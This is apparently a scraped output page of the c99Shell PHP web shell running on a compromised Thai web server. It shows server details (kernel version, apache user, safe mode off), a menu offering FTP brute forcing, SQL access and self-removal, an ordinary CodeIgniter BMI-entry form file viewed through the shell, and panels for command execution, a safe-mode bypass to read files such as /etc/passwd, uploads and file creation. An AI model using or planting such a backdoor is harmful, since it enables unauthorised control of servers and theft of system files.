!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_add_bmi_tb.php (4.14 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script type="text/javascript" src="<?php echo base_url();?>js/auto_cp/jquery.autocomplete.js"></script>
<?php echo link_tag('js/auto_cp/jquery.autocomplete.css');?>
<script type="text/javascript">
function do_submit (action) {
    if (action) {
        jQuery("#myform").attr('action', action);
    }
    jQuery("#myform").submit();
}
</script>
<?php
$row_bmi 
= isset($qu_bmi) ? $qu_bmi->row() : NULL;

$attributes = array('id' => 'myform''name' => 'myform');
echo 
form_open($this->config->item('sa_folder').'base_data/bmi_tb_insert_update'$attributes);
?>
<table  width="60%" border="0" align="center">
    <tr>
        <th colspan="2" align="center">บันทึกข้อมูลดัชนีมวลกาย : <?php echo $bmi_group;?></th>
    </tr>
    <tr>
        <td colspan="2" align="center">&nbsp;</td>
    </tr>
    <tr>
        <td ><table class="szone2" width="100%" border="0">
            <tr>
                <th>ผลการประเมิน</th>
                <td><input type="text" id="bmi_name" name="bmi_name" value="<?php echo getval('bmi_name'$row_bmi);?>" />
                <font color="red">* <?php echo form_error('bmi_name');?></font></td>
            </tr>
             <tr>
                <th>ค่าดัชนีมวลกายขั้นต่ำ</th>
                <td><input type="text" id="bmi_min" name="bmi_min" value="<?php echo getval('bmi_min'$row_bmi);?>" />
                <font color="red">* <?php echo form_error('bmi_min');?></font></td>
            </tr>
            <tr>
                <th>ค่าดัชนีมวลกายขั้นสูง</th>
                <td><input type="text" id="bmi_max" name="bmi_max" value="<?php echo getval('bmi_max'$row_bmi);?>" /><font color="red"> * <?php echo form_error('bmi_max');?></font></td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                <input type="hidden" id="bmi_id" name="bmi_id" value="<?php echo getval('bmi_id'$row_bmi);?>" />
                <input type="hidden" name="bmi_group" id="bmi_group" value="<?php echo $bmi_group;?>">
                <input type="hidden" name="bmi_fr_date" id="bmi_fr_date" value="<?php echo $bmi_fr_date;?>">
                <input type="hidden" name="bmi_to_date" id="bmi_to_date" value="<?php echo $bmi_to_date;?>">
                <input type="hidden" name="check_end" id="check_end" value="<?php echo $check_end;?>">
                <input type="hidden" name="valid" id="valid" value="valid">
                <input type="button" id="btnSubmit" name="btnSubmit" value="บันทึก" onClick="do_submit('<?php echo site_url($this->config->item('sa_folder').'base_data/bmi_tb_insert_update');?>')" />
                <input type="button" name="back" id="back" value="ย้อนกลับ" onClick="location.href='<?php echo site_url($this->config->item('sa_folder')."base_data/input_bmi");?>'" /></td>
            </tr>
        </table></td>
    </tr>
</table>
<?php echo form_close();?>

<table class="tb_1" width="100%">
    <thead>
        <tr>
            <th>ลำดับ</th>
            <th>ผลการประเมิน</th>
            <th>ค่าดัชนีมวลกายขั้นต่ำ</th>
            <th>ค่าดัชนีมวลกายขั้นสูง</th>
            <th>แก้ไข</th>
            <th>ลบ</th>
        </tr>
    </thead>
    <tbody>
<?php
        $i 
1;
        if (isset(
$rs_bmi)) {
            foreach (
$rs_bmi->result() as $row_bmi) {
?>
        <tr >
            <td height="22" align="center"><?php echo $i;?></td>
            <td align="center"><?php echo $row_bmi->bmi_name;?></td>
            <td align="center"><?php echo $row_bmi->bmi_min;?></td>
            <td align="center"><?php echo $row_bmi->bmi_max;?></td>
            <td align="center"><span class="hand" onClick="sendPost('myform', {'bmi_id':<?php echo $row_bmi->bmi_id;?>}, 'input_bmi_tb')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
            <td align="center"><span class="hand" onClick="if (confirm('ต้องการลบใช่หรือไม่')) { sendPost('hidform', {'bmi_id':'<?php echo $row_bmi->bmi_id;?>','bmi_group':'<?php echo $row_bmi->bmi_group;?>','bmi_fr_date':'<?php echo $row_bmi->bmi_fr_date;?>','bmi_to_date':'<?php echo $row_bmi->bmi_to_date;?>'}, 'bmi_delete'); }"><?php echo img($this->config->item('sa_image_del'));?></span></td>
        </tr>
<?php
                $i
++;
            }
        }

        if (
$i == 1) {
?>
        <tr class="notfound">
            <td colspan="12"><?php echo $this->config->item('sa_not_found');?></td>
        </tr>
<?php
        
}
?>
    </tbody>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0171 ]--